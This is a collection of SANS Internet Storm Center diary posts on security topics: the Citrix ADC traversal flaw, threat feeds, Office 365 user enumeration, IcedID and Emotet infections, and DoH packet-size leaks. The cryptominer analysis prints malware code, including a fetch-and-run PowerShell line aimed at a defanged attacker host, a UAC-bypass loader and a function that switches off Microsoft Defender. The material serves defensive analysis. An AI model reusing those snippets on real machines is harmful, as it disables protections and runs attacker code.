[a recording of our special webcast will be available soon.  [Download PPT Files]]

About two weeks ago, on December 17th, Citrix released a workaround for a critical vulnerability in its Application Delivery Controller (ADC) and Gateway products [1]. These are products that Citrix acquired from NetScaler in 2005, and the NetScaler name is still commonly used.

    Last week, on December 23rd, Positive Technologies released a blog post with additional information, emphasizing the impact of the vulnerability [2]. This blog post affirmed that the vulnerability is critical and needs to be addressed quickly. CVE-2019-19781 is used to track this vulnerability.

    Due to the urgency of this problem, and holidays affecting about 70% of the globe these two weeks, we will have a special webcast to discuss this vulnerability.

    Luckily, there is no public “Proof of Concept (PoC)” exploit available yet, and we have not detected any exploitation of the vulnerability yet. You may have a bit more time to apply the workaround published by Citrix. During a quick review of the Citrix ADC code this week, we found several weaknesses and were able to exploit them to at least upload files to the system. This did not require any special tools or advanced skills. A determined individual should be able to find a full exploit in about a week. The code, as well as the system configuration, showed several obvious weaknesses. This is unlikely the last time you will have to patch these devices. 

    According to Citrix’s advisory, exploitation of the vulnerability does not require authentication and allows arbitrary code execution. The affected products can be deployed in a large number of configurations, and not all configurations may be vulnerable. But neither Citrix nor Positive Technologies provide any guidance to identify vulnerable configurations. Most likely, configurations that expose the Citrix web interface to outside users are vulnerable. This would affect the use of Citrix Gateway as an SSLVPN. Still, it could very well be used in other scenarios, for example, if Citrix ADC is used to restrict access to internal APIs or web applications.

    The best “hint” as to the nature of the flaw is the workaround Citrix published [3]:

add responder policy ctx267027 "HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/vpns/\") && (!CLIENT.SSLVPN.IS_SSLVPN || HTTP.REQ.URL.DECODE_USING_TEXT_MODE.CONTAINS(\"/../\"))" respondwith403

The rule first checks if the URL contains the string “/vpns/." Next, it checks if the user is either not connected to the SSLVPN, or if the URLs include the string "/../”. The “decode_using_text_mode” overwrites the default URL encoding. This likely indicates that the ‘/’ and ‘.’ characters can not be URL encoded to make the exploit work. It is important to note that the “/vpns/” string alone is blocked in the URL. You should not include the “/../” string if you translate this signature to other security devices.

    Citrix notes that this policy may block some valid requests as well. The "/vpns/scripts/" directory, for example, is used to serve browser plugins. Access to this directory is blocked by the suggested policy. If you are using the Citrix ADC in front of other web applications, any URLs that contain "/vpns/” are part of the patch are blocked.

    The last part (“/../") is typical for a directory traversal vulnerability. Directory traversal vulnerabilities come in many shapes and severities. Attackers typically use them to gain access to restricted resources, and the impact depends a lot on what resources are accessible.

A simple example (and this is NOT necessarily how it works here): A web application restricting access to the “/admin” URL can be fooled into providing access to unauthenticated users as long as they use a URL like “/somethingelse/../admin." The URL no longer starts with "/admin," and a web application is vulnerable if it does not parse URLs correctly. Directory traversal issues can also happen if the application executed files on the system. For example, the developer creates a "tools" directory with various scripts the user is allowed to run. The application then uses code like:

execute(“/tools/$script”)

An attacker could now supply a script like “../usr/bin/bash” to execute additional commands. This command injection vulnerability does take advantage of directory traversal.

Typically, simple "blocklists" like the one Citrix implemented here are not ideal. An attacker may be able to find alternative paths to the vulnerable script, or the attacker uses a different encoding technique to bypass the rule. At this point, we do not know enough about this vulnerability to discern if the rule is sufficient or not. Citrix has not announced any plans for an actual patch. Based on our review of the code, a patch will likely reveal sufficient details about the vulnerability to make it trivial to find an exploit. The policy was likely designed to block the exploit while revealing as little as possible about the vulnerability.

After applying the recommended policy, any attacks should be logged in the Apache access and error log. For example:

/var/log/httpaccess.log
127.0.0.2 - - [30/Dec/2019:21:05:43 +0000] "GET [EXPLOITURL] HTTP/1.1" 403 639 "-" "[USERAGENT]" "Time: 439 microsecs"

/var/log/httperror.log
[Mon Dec 30 21:06:33.317132 2019] [core:error] [pid 2499] [client 127.0.0.2:24553] AH00037: Symbolic link not allowed or link target not accessible: {file attempted to access}, referer: {referrer header (if any)}

What should you do?

1. Apply Citrix’s workaround as soon as possible (today!)
2. Monitor your systems for any exploit attempts. A quick “grep” for requests that contain “vpns” and “..” should tell you if there are any.
3. Consider additional steps, for example, if you have additional security devices ahead of Citrix ADC.
4. Monitor any abnormal activities from the Citrix ADC and Gateway, particularly from those devices towards the internal network hosts.

Even if you do not use Citrix, take a moment to check up on your other perimeter devices to make sure they are up to date. Last year has seen several critical vulnerabilities in similar devices. For example, there are still plenty of unpatched Fortinet devices out there that suffer from a path traversal vulnerability. Exploit code is readily available and has been used in the wild. The Fortinet vulnerability isn't a "remote code execution" vulnerability, but can easily be used to retrieve privileged account credentials from the system.

[1] https://support.citrix.com/article/CTX267027
[2] https://www.ptsecurity.com/ww-en/about/news/citrix-vulnerability-allows-criminals-to-hack-networks-of-80000-companies/
[3] https://support.citrix.com/article/CTX267679
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Much of the data offered by us is available via our API [1]. A popular feature of our API is our "threat feeds." We use them to distribute lists of IP addresses and hostnames that you may want to block. In particular, our feeds of mining pool IPs and hosts used by Shodan are popular. This weekend, I added a feed for Onyphe [2]. Onyphe is comparable to Shodan, and I do see a lot of scans from them lately, which is why I added the feed. While I was messing with the API, I also added the ability to retrieve hostnames in addition to IP addresses.

To get the Onyphe IPs, use this URL: https://isc.sans.edu/api/threatlist/onyphe. 
For a list of hostnames, use: https://isc.sans.edu/api/threatlisthosts/onyphe

You can get historical data by adding a start and an end date like:

https://isc.sans.edu/api/threatlisthosts/onyphe/2019-01-01/2019-31-01

For all of our API functions, you can switch the output format by adding ?json, ?php, ?txt, ?tab to the end of the URL. The last format (tab-delimited) is only available for some data that is suitable for a tab-delimited format.

Should you use these lists to block attacks? Up to you. I find there is little to be gained, but it may help you keep the noise down in your logs. Before you start to block IPs in the list, I recommend logging first for a while to help you identify false positives. We are planning on adding a lot more "API features" to make our data easier to consume. Per our "creative commons" license, you may use the data to protect your own network (commercial or not) as long as you do not resell the data. As always, the data is offered "as is." I find the data most useful as input to a SIEM to quickly identify source IPs that are part of these scanners.

Onyphe made it reasonably easy to collect the data. Not only do they use (like Shodan) hostnames within their onyphe.io domain, but they also offer a list of IPs and networks at any of their scanner IP addresses. So once you know one of them (for example http://barker.onyphe.io/ ), all you need to do is parse the content of that page. There is, of course, no guarantee that this list is complete. There are a couple of other sites that offer data from internet-wide scans that make it quite difficult to identify their scanners. (something I am working on with the data we get from our users.)

[1] https://isc.sans.edu/api
[2] https://onyphe.io

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

In my last Pihole Diary, I shared a Pihole parser to collect its logs and stored them into Elastic. In this diary, I'm sharing a dashboard to visualize the Pihole DNS data. Here are some of the output from the dashboard.

Pihole Overall

Pihole Regex List Match

This is the output from the Blocklist for Regex and Wildcard blocking

Pihole Gravity List Match

This is the output from the Blocklists generated by Pi-hole Gravity

The JSON dashboard file can be downloaded here.

[1] https://isc.sans.edu/diary/25582
[2] https://handlers.sans.edu/gbruneau/elk/pihole.conf
[3] https://handlers.sans.edu/gbruneau/elk/pihole_graphs.ndjson
[4] https://www.elastic.co/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

My tool to analyze CFBF files, oledump.py, is not only used to analyze malicious Office documents.

Over the years, a couple of users reached out to me informing me that they were able to recover their VBA code from corrupt Word or Excel documents with my tool.

Although Word or Excel is no longer able to open/repair the corrupted document, the stream(s) with VBA code can remain intact, and parsed with oledump.py to extract the VBA source code.

When oledump.py finds streams with VBA code, but is not able to completely extract the VBA source code, an E indicator will be used to mark the stream (in stead of M/m).

Like in this example:

When this happens, option -v can not be used to extract and decompress the VBA source code:

But you can try another option, --vbadecompresscorrupt, to try a partial recover of the VBA source code:

Remark that this will not always work, it depends on the type of corruption.

 

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I found a pretty strange request in a University Firewall being sent over and over:

Turns out this is a very cheap way to enumerate office365 users. If the X-BackEndHttpStatus header is set to 200 in the response, the user exist:

If this header is set to 302, the requested user does not exist.

This functionality is automated in the following script: https://github.com/Raikia/UhOh365.

Manuel Humberto Santander Pelaez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

First of all, Merry Christmas to all our readers! I hope you're enjoying the break with your family and friends! Even if everything slows down in this period, there is always malicious activity ongoing. I found a small PowerShell script that looked interesting for a quick diary. First of all, it has a VT score of 2/60[1]. It installs a cryptominer and its most interesting feature is the use of a classic technique to bypass UAC[2].

To achieve this, it uses the cmstp.exe tool and a DLL. This binary is used by the Microsoft Connection Manager Profile Installer to deploy .inf files.  It is located in C:\Windows\System32\ or C:\Windows\SysWOW64\ which are listed as trusted directories by AppLocker.

First, the script kills existing cmstp.exe processed running:

cmd.exe /C taskkill /IM cmstp.exe /f;

Then, it implements a function to bypass UAC by loading a malicious DLL:

function Bypass-UAC
{
    Param([Parameter(Mandatory = $true, Position = 0)][string]$Command)
    if(-not ([System.Management.Automation.PSTypeName]"CMSTPBypass").Type)
    {
        $a = $a + "<base64_data>";
        $a = $a + "<base64_data>;
        ...
        $a = $a + "<base64_data>";
        [Reflection.Assembly]::Load([Convert]::FromBase64String("$a")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}

This technique is not new and has been borrowed by the developers from another source[3]. The loaded DLL is well-know on VT and has a decent score: 26/66[4].

This function is used to grab and launch extra PowerShell scripts:

IEX (New-Object Net.WebClient).DownloadString('hxxp://trsurl[.]com/sa/UAC_WIN_10_Run_Miner')

Multiple URLs are visited and extra code downloaded:

hxxp://trsurl[.]com/sa/UAC_WIN_10_Run_Miner
 > hxxps://hastebin[.]com/raw/odazicisiq
   > hxxp://trsurl[.]com/sa/Miner
     > hxxps://hastebin[.]com/raw/sidodoquse

The miner is a simple XMRIG with user ID: 42PkwcWLCjheUAaXy2h6CndY9DoKvv4pQ6QogCxgnFFF268ueYNb2FXiLCgQeds64jAytuaXzFTctbsujZYzUuaRVhn8Cjd. Besides the classic function to "seek & hunt" unwanted processes (AV and other competing miners), there is an interesting function used to disable Microsoft Defender:

function disable_defender{
    Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction Ignore;
    Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction Ignore;
    Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction Ignore;
    Set-MpPreference -DisableIOAVProtection $true -ErrorAction Ignore;
    Set-MpPreference -DisablePrivacyMode $true -ErrorAction Ignore;
    Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true -ErrorAction Ignore;
    Set-MpPreference -DisableArchiveScanning $true -ErrorAction Ignore;
    Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction Ignore;
    Set-MpPreference -DisableScriptScanning $true -ErrorAction Ignore;
    Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction Ignore;
    Set-MpPreference -MAPSReporting 0 -ErrorAction Ignore;
    Set-MpPreference -HighThreatDefaultAction 6 -Force -ErrorAction Ignore;
    Set-MpPreference -ModerateThreatDefaultAction 6 -ErrorAction Ignore;
    Set-MpPreference -LowThreatDefaultAction 6 -ErrorAction Ignore;
    Set-MpPreference -SevereThreatDefaultAction 6 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\Users\Public\Libraries\ -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\Users\Public\Libraries -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\win32.zip -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\x32\ -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\win64.zip -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\x64\ -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\x64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1-gcc-win64\xmrig-2.3.1 -ErrorAction Ignore;
    Add-MpPreference -ExclusionPath C:\ProgramData\x32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1-gcc-win32\xmrig-2.3.1 -ErrorAction Ignore;
    Add-MpPreference -ExclusionProcess "xmrig.exe" -ErrorAction Ignore;
    Add-MpPreference -ExclusionExtension ".exe" -ErrorAction Ignore;
}

[1] https://www.virustotal.com/gui/file/c5ec59f873fe31025703855a2406845199d2da221738d3c76daa3b9996c6cd14/detection
[2] https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
[3] https://www.who-ami.net/how-to-bypass-uac-in-newer-windows-versions/
[4] https://www.virustotal.com/gui/file/da9fc045098c3502920dee3fe65660de0049792307605f89b08361e28ce74dad/details

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

We wish you and your families a merry christmas!

Manuel Humberto Santander Pelaez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

The acquisition of evidence is one of the procedures that always brings controversy in incident management. We must answer questions such as:

• Do we have all the elements required to execute the acquisition of evidence?
• What happens if the evidence is volatile and I don't have the software I need to capture it in accordance with the established procedure?

In the case of network evidence, it is clear that uncaptured traffic is lost forever. Therefore, the opportunity to capture evidence is essential to be able to have the greatest amount of information to determine elements such as indicators of commitment or tactics, techniques and procedures used by the attackers.

Imagine this situation: You are reviewing a computer that is allegedly compromised and apparently the intruder is still inside. The internet went down and you cannot install a sniffer. How can you proceed to capture the evidence quickly?

The quickest solution is to use the network trace capability built inside windows. This feature uses the NDIS driver to capture packets. Let's use powershell to perform the operations:

• Let's start a capture session named Example of Network trace, saving it into a file named as the local computername.etl and with a maximum size of 5 MB:

• Now we assign the packet capture provider to the session:

• Now we start the network capture and query the status of it:

• When finished, we stop the capture:

We can see the capture using Microsoft Message Analyzer, which is currently deprecated and no longer available through the Microsoft Website. If you still want to download it, you can use wayback machine and the following link: https://web.archive.org/web/20191104120853/https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226

If you need to manipulate it in wireshark, you can export it to Microsoft Network Monitor (cap) format using the save as feature:

After that, you can open the cap file using wireshark:

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail:msantand at isc dot sans dot org

Introduction

On Monday 2019-12-23, a wave of malicious spam (malspam) was distributing IcedID malware, also known as Bokbot.  Today's diary reviews recent infection activity by this malware.

But first I'll start with a poetic satire of "A Visit from St. Nicholas" by Clement Clark Moore...

Twas the week during Christmas, when all through the net
malspam was spreading, as if on a bet.

Windows and Office were run without care
in hopes that malware would never get there.

Sysadmins weren't patching as well as they could be,
'cause IT procedures made updates untimely.

When what to our mailservers did soon appear?
Twas emails with Word docs and macros so clear!

They slipped past our mail filters as they all came,
recipients were varied, the subjects the same.

With code full of exploits and great obfuscation,
those messages made it to many workstations.

One person was foolish and opened the Word doc,
enabling macros because, why the heck not?

His laptop infected, the malware spread quickly.
Got to the DC, the server became sickly.

Provided a backdoor throughout all their networks,
with full admin rights and some privileged perks.

The criminals were happy, their eyes shining bright.
They had a great Christmas that cold winter night!

Anyway, back to the malware...  As I already mentioned, today's diary reviews recent infection activity by IcedID.

Shown above:  Flow chart for recent IcedID infection activity.

The malspam

I don't have a copy of the malspam. However, an anonymous person submitted URLs that returned the associated Word docs to URLhaus.  If you want to search for IcedID activity, search for items tagged as IcedID as shown here.

Shown above:  A recent search in URLhaus for items tagged as IcedID.

Shown above:  Testing one of the URLs from URLhaus in my lab environment.

The Word documents

I received different Word docs from the same links when I tested them in my lab environment.  The first Word document had a template that was mostly red (maybe reddish-orange).  My second sample had a different template that was mostly blue.

Shown above:  The type of Word document returned when I tried the links earlier in the day on 2019-12-23.

Shown above:  The type of Word document when I tried these links later in the day on 2019-12-23.

The infection traffic

Infection traffic was typical for IcedID activity.  In previous IcedID infections, I've seen Trickbot, such as in this previous diary from March 2019.  However, no Trickbot was noted during the two infections I ran in my lab on 2019-12-23.

Shown above: Infection traffic filtered in Wireshark from my 1st run with a URL for IcedID.

Shown above: Infection traffic filtered in Wireshark from my 2nd run with a URL for IcedID.

Forensics on an infected Windows host

My infected Windows hosts showed the same type of artifacts and behavior associated with IcedID in recent months.  See the images below for examples of malware and artifacts from my 1st infection.

Shown above:  Scheduled task to keep IcedID persistent from my 1st infection run.

Shown above:  From the 1st infection run, IcedID persistent on my infected lab host.

Shown above:  Some data files created during the IcedID infection from my 1st run.  These are random file and directory names each infection.

Indicators of Compromise (IoCs)

Infection traffic, 1st run:

• 193.36.60[.]3 port 80 - hanserefelektrik[.]com - GET /wp-includes/js/mediaelement/renderers/1223/payment_receipt_1574.doc
• 162.241.173[.]131 port 443 - fmjstorage[.]com - GET /LTCOB.KET  (HTTPS traffic)
• 95.217.99[.]22 port 80 - exceptionalsanta[.]pro - GET /data3.php?0123456789ABCDEF  (random hex characters)
• 188.127.227[.]76 port 443 - malayanfoodinmiami[.]pro - HTTPS/SSL/TLS traffic
• 188.127.227[.]76 port 80 - mexicanfoodinmiami[.]pro - GET /data3.php?0123456789ABCDEF  (random hex characters)
• 188.127.227[.]76 port 443 - mexicanfoodinmiami[.]pro - HTTPS/SSL/TLS traffic
• 188.127.227[.]76 port 80 - russianfoodinmiami[.]pro - GET /data3.php?0123456789ABCDEF  (random hex characters)
• 188.127.227[.]76 port 443 - russianfoodinmiami[.]pro - HTTPS/SSL/TLS traffic

Infection traffic, 2nd run:

• 107.180.41[.]89 port 80 - www.ticfootball[.]com - GET /wp-content/uploads/2019/09/1223/scheldule_8698.doc
• 162.241.216[.]20 port 443 - www.ecowis[.]com - GET /liteprjpohereo.exe  (HTTPS traffic)
• 95.217.99[.]22 port 443 - brekatrinado[.]red - HTTPS/SSL/TLS traffic
• 188.127.227[.]76 port 80 - arkanacarszoom[.]pro - GET /data3.php?0123456789ABCDEF  (random hex characters)
• 188.127.227[.]76 port 443 - arkanacarszoom[.]pro - HTTPS/SSL/TLS traffic
• 95.217.99[.]22 port 443 - kuskusnamnam[.]icu - HTTPS/SSL/TLS traffic

SHA256 hash: 240f62792a5874857d4f9d1663a97deb1eefd38f90c87eef76220d33c8440697

• File size: 146,681 bytes
• File location: hxxp://hanserefelektrik[.]com/wp-includes/js/mediaelement/renderers/1223/payment_receipt_1574.doc
• File name: payment_receipt_1574.doc
• File description: Word doc with macro for IcedID, 1st run

SHA256 hash: dcadc8a97beba4bee4608739d8efc68da37c9b7035302585eb24890a5b826755

• File size: 89,541 bytes
• File location: hxxp://www.ticfootball[.]com/wp-content/uploads/2019/09/1223/scheldule_8698.doc
• File name: scheldule_8698.doc
• File description: Word doc with macro for IcedID, 2nd run

SHA256 hash: 79723cbc2234e26aae3111b8c7b6711da68a46d01e5808598a1492e49c331f60

• File size: 102,400 bytes
• File location: hxxps://fmjstorage[.]com/LTCOB.KET
• File location: C:\Scene1\SceneWar.exe
• File location: C:\Users\digby.fairweather\AppData\Local\digby.fairweather\{7D172A31-A602-4711-A856-63F182FA00E6}\kb2195871044.exe
• File description: IcedID malware binary retrieved by Word macro, 1st run

SHA256 hash: b0430c4b64948d1fbb05ecbd7e5fc9afb068463e98718ddf01a13ddf4b4f4891

• File size: 102,400 bytes
• File location: hxxps//www.ecowis[.]com/liteprjpohereo.exe
• File location: C:\Users\suellen.covington\AppData\Local\Temp\4v75i0n9c.exe
• File location: C:\ProgramData\ñûâôÛÖÉôÎÃøíÀÌñÂ.exe
• File location: C:\Users\suellen.covington\AppData\Local\suellen.covington\{92508AEB-DC02-46CB-B469-C32B6DA9A09C}\kb1839855098.exe
• File description: IcedID malware binary retrieved by Word macro, 2nd run

Final words

Pcaps and malware samples used for this diary can be found here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

In diary entry "VBA Office Document: Which Version?", I explain how to identify the Office version that was used to create a document with VBA macros.

I have now an oledump.py plugin (plugin_version_vba) that automates this task:

In this example, the version number is 00AF, and that corresponds to Office 2016 or 2019 32-bit.

If the version number is not known, like with this AutoCAD .dwg file, you'll get a question mark:

The version number is 009A, but that does not correspond to an Office version I know.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

I updated my oledump.py tool to help with the analysis of files that embed OLE files, like AutoCAD's .dwg files with VBA macros.

A .dwg file is not an OLE file, and you get a warning when you try to analyze it with oledump:

I added a new option to oledump: -f (--find). You use this option to find and select embedded OLE files inside any file.

A .dwg file with embedded VBA macros contains an OLE file. You can now search for embedded OLE files using option "-f l" (letter l, for list), like this:

From this output, we can tell that the .dwg file contains an OLE file at position 0x8090.

We can select this embedded file for analysis using option "-f 1" (number 1), like this:

And then you can just use familiar options, like -s -v, to analyze the macros.

I also produced a video on .dwg files with embedded VBA macros:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 3.2.0 was released, with many improvements.

It is also the last release branch with official support for Windows 7 and Windows Server 2008 R2.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Two days ago, I wrote about how to profile traffic to recognize DNS over HTTPS. This is kind of a problem for DNS over HTTPS. If you can see it, you may be able to block it. On Twitter, a few chimed in to provide feedback about recognizing DNS over HTTPS. I checked a couple of other clients, and well, didn't have a ton of time so this is still very preliminary:

• Firefox seems to be the most solid DoH implementation. Firefox DoH queries look like any other Firefox HTTP2 connection except for the packet size I observed
• Standalone DoH gateways, like "cloudflared," are easy to spot. They do use a bit unique TLS client hellos. For example, they do not use the SNI (Server Name Indication), which is a default feature in most TLS clients. I guess they are trying to avoid signatures that look for well known DoH endpoints, but in some ways, "no SNI" is a signature too.
• Chrome: I couldn't get DoH to work in Chrome 79 on macOS. Sorry. DoH is an experimental feature in Firefox, but maybe I just did something stupid. Needs more work.

But to come back to the initial observation: The DoH traffic had specific packet sizes it preferred. So I was looking at this since it didn't seem random, meaning it leaked information.

I found a couple of interesting issues. First of all, the DNS query and response are sent as two packets. The first packet contains the HTTP2 headers. The second packet, the payload, which is our DNS payload. For requests and responses, the HTTP2 headers are always the same. The AES encryption process, as it is performed by TLS 1.3 does not change the length of the data. It just adds headers and integrity checks, but the size of the encrypted data matches the size of the decrypted data. This makes it easy to identify the packets that contain the HTTP2 headers for requests and responses:

% tshark -nr doh.pcap -T fields -e tcp.len -Y 'tcp.len>0' | sort | uniq -c | sort -k2 -n > doh-tcplen.txt
% gnuplot
gnuplot> set xrange [0:500]
gnuplot> plot "doh-tcplen.txt" using 2:1 with lines

The two most common packet sizes correspond to the responses (smaller packet, 38 Bytes ) and requests (larger packets, 45-50 bytes in this example). The HTTP2 HEADER record for requests is slightly larger than the response as it includes the URL, the "authority" (hostname), and other details. The size of these requests can be used to deduct which DoH provider is being used.

The second packet, the content of the query or the response, is interesting as the packet length is related to the size of the query. The diagram below illustrates that all other fields in the TCP payload have a fixed size, and only the query string is variable. 

The breakdown:

• 5 bytes of TLS header
• encrypted data (which breaks down further):
  • HTTP2 Header (9 Bytes for the DATA segment)
  • DNS header ( 12 Bytes )
  • Query
    • query name (variable, starting with a length byte for the first label and ending with 0)
    • query type ( 2 Bytes )
    • query class ( 2 Bytes )
    • DNS options (19 Bytes)
• 0 byte (end of data)
• MAC (16 Bytes)

Which adds 65 Bytes of fixed-length data to the TCP length. The rest is our DNS query string.

So what is the solution? There is a solution that was defined specifically for this reason. At first, I considered this a bug in Firefox and reported it, but I was pointed to an already open bug about this issue [1]. One of our readers left a detailed comment pointing out this issue as well. The solution is, as so often with crypto: Padding. DNS has a special option for it, and this option was specifically introduced for this use case [2][3]. The idea is that the client just appends some data to the end to obscure the size of the query. RFCs suggest to always pad to a specific size. But well, random padding would probably work too. The server will also respond with padding to avoid the same attack on the response. At least that is what the RFC suggests.

I used a sample of DoH providers [4], and crafted an HTTP2 request with and without padding, to see how they respond. To craft the DNS payload, I used scapy. I could probably use scapy for the HTTP2 part as well but found it simpler to just send the DNS payload over HTTP2 using curl[5]. Scapy does have a contributed HTTP2 extension if anybody wants to make this prettier. The reader commenting to the earlier post used sdig which also looks interesting to do these tests. It works like 'dig', but supports DoH. sdig is part of the PowerDNS project [6]

Here is the scapy part without padding:

>>> opt=DNSRROPT(z=0,rdlen=8,rdata="\x00\x08\x00\x04\x00\x01\x00\x00

For the "no padding" test, I still included the standard/default EDNS0 option.

and with padding:

>>> optpadded=DNSRROPT(z=0,rdlen=15,rdata="\x00\x08\x00\x04\x00\x01\x00\x00\x00\x0c\x00\x04\x00\x00\x00\x00")

The difference is just the final 6 bytes: 

Padding Option: 000C , Padding Length: 4 Bytes, and 4 0 bytes to pad. I picked a short padding length to save myself some typing.

To verify that I got a reasonable valid packet, I used Wireshark from scapy:

>>> query=DNSQR(qtype=2)
>>> p=IP()/UDP(dport=53)/DNS(rd=1,qd=query,ar=optpadded)
>>> wireshark(p)

Next, using scapy to extract the DNS payload in hexadecimal:

>>> hexstr(DNS(rd=1,qd=query,ar=optpadded))

And sending the string with curl (simple copy-paste for the string and using xxd to convert it to binary for curl):

% echo -n '00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 65 78 61 6D 70 6C 65 03 63 6F 6D 00 00 02 00 01 00 00 29 10 00 00 00 00 00 00 0F 00 08 00 04 00 01 00 00 00 0C 00 04 00 00 00 00' | xxd -p -r | curl -H 'content-type: application/dns-message' --data-binary @- https://doh.cleanbrowsing.org/doh/family-filter/ -o - | xxd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   160  100   100  100    60    170    102 --:--:-- --:--:-- --:--:--   272
00000000: 0000 8180 0001 0000 0001 0001 0377 7777  .............www
00000010: 0765 7861 6d70 6c65 0363 6f6d 0000 0200  .example.com....
00000020: 01c0 1000 0600 0100 000e 1000 2c02 6e73  ............,.ns
00000030: 0569 6361 6e6e 036f 7267 0003 6e6f 6303  .icann.org..noc.
00000040: 646e 73c0 3078 5958 9500 001c 2000 000e  dns.0xYX.... ...
00000050: 1000 1275 0000 000e 1000 0029 0200 0000  ...u.......)....
00000060: 0000 0000                                ....

Xxd at the end is used to inspect the result. Here are some of the result I found using a sample of public DoH endpoints:

DoH Provider	Result
Cloudflare	No response with padding, but adds padding to all responses if query is not padded.
AdGuard	Error: "overflow unpacking opt"
Google	Empty response
Quad9	Valid Response
Cisco Umbrella	Error: "Malformed DNS Query"
Cleanbrowsing	Valid Response, but no padding in response
Comcast	Empty Response
COX	Empty Response

The fact that I got responses from Cleanbrowsing and Quad9 should indicate that my request was valid. But these are the only two providers that responded. Some sent errors back, so I want to go back and double-check my work above.

Lots of work left. I will publish pcaps shortly (but it is always a pain to get clean pcaps without much additional stuff.. give me a few hours).

[1] https://bugzilla.mozilla.org/show_bug.cgi?id=1543811
[2] https://tools.ietf.org/html/rfc7830
[3] https://tools.ietf.org/html/rfc8467
[4] https://github.com/curl/curl/wiki/DNS-over-HTTPS
[5] https://developers.cloudflare.com/1.1.1.1/dns-over-https/wireformat/
[6] https://doc.powerdns.com/authoritative/manpages/sdig.1.html

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|

Introduction

On Monday 2019-12-16, I tested some Emotet samples. I normally get Trickbot as the follow-up malware, which I've already documented from Monday.  But every once in a while, I'll see spambot traffic instead of (or in addition to) Trickbot.

When I tested another Emotet sample later that day, I saw spambot traffic.  Today's diary reviews information from that infection.

The email

On Monday afternoon (Unite States Central time), I saw an Emotet malspam message that made it to my inbox.

Shown above:  Emotet malspam that made it to my inbox.

Why is the sender named Billy Idol?  Because that was a name in the address book from one of my Emotet-infected Windows hosts a few months back.  I generally make up names as I spin up vulnerable hosts in my lab.  At some point, I vaguely remember using "Billy Idol" as a name when I'd set up a fake email account and generated some items for the inbox of a lab host.

That doesn't mean "Billy Idol" was infected.  It just means an Emotet-infected host had an email in the inbox (or sent items) with an address using that name as an alias.

The email had an attached Word document, which I tested in my lab.

Shown above: Word doc from the email with macro for Emotet.

The infected Window host

My infected host had a Windows executable for Emotet made persistent through the Windows registry as shown below.  This is normal behavior for Emotet.

Shown above:  Emotet persistent on an infected Windows host.

Infection traffic

The traffic patterns were typical for Emotet. However, if an Emotet-infected Windows client turns into a spambot, it will generate SMTP and encrypted SMTP traffic.  The spambot traffic is mostly encrypted SMTP--in fact, most often all of it is encrypted.  But sometimes you might find unencrypted SMTP when reviewing the traffic in Wireshark as shown below.  You can also use Wireshark to export emails found in unencrypted SMTP traffic from the pcap.

Shown above:  Filtering on web traffic in Wireshark shows SSL/TLS spambot traffic to mailservers, mostly over TCP ports 25, 465, and 587.

Shown above:  You can filter on various SMTP commands (like EHLO) to get a better idea of the encrypted/unencrypted spambot traffic.

Shown above:  You can filter on smtp.data.fragment to find any emails in the pcap from unencrypted SMTP.

Shown above:  Using Wireshark to export emails from unencrypted email traffic in a pcap.

Shown above:  Traffic from my infected lab host only had one email I could export from the pcap.

Shown above:  The exported email file opened in a text editor.

Indicators of Compromise (IoCs)

Malware from an infected Windows host:

SHA256 hash: b82542fa69e2a8936972242c0d2d5049235b6b0d24030073a886937f1f179680

• File size: 191,744 bytes
• File name: INVOICE.doc
• File description: Malspam attachment--Word doc with macro for Emotet

SHA256 hash: 8bfb28788bd813e2ec3e7dc0cce9c95bda8d5df89a65b911c539e0a6aebcfc05

• File size: 307,528 bytes
• File location: hxxp://blog.itsaboutnature[.]net/confabulate-grainy/tad0m4bjt-li6lr-5546823/
• File location: C:\Users\[username]\26.exe
• File location: C:\Users\[username]\AppData\local\iascors\iascors.exe
• File description: Emotet malware binary retrieved by Word macro

Traffic caused by Word macro to retrieve an Emotet EXE file:

• 104.27.149[.]107 port 80 - www.simple-it[.]org - attempted TCP connections but no response from the server
• 43.255.154[.]108 port 443 - www.uaeneeds[.]com - HTTPS/SSL/TLS traffic
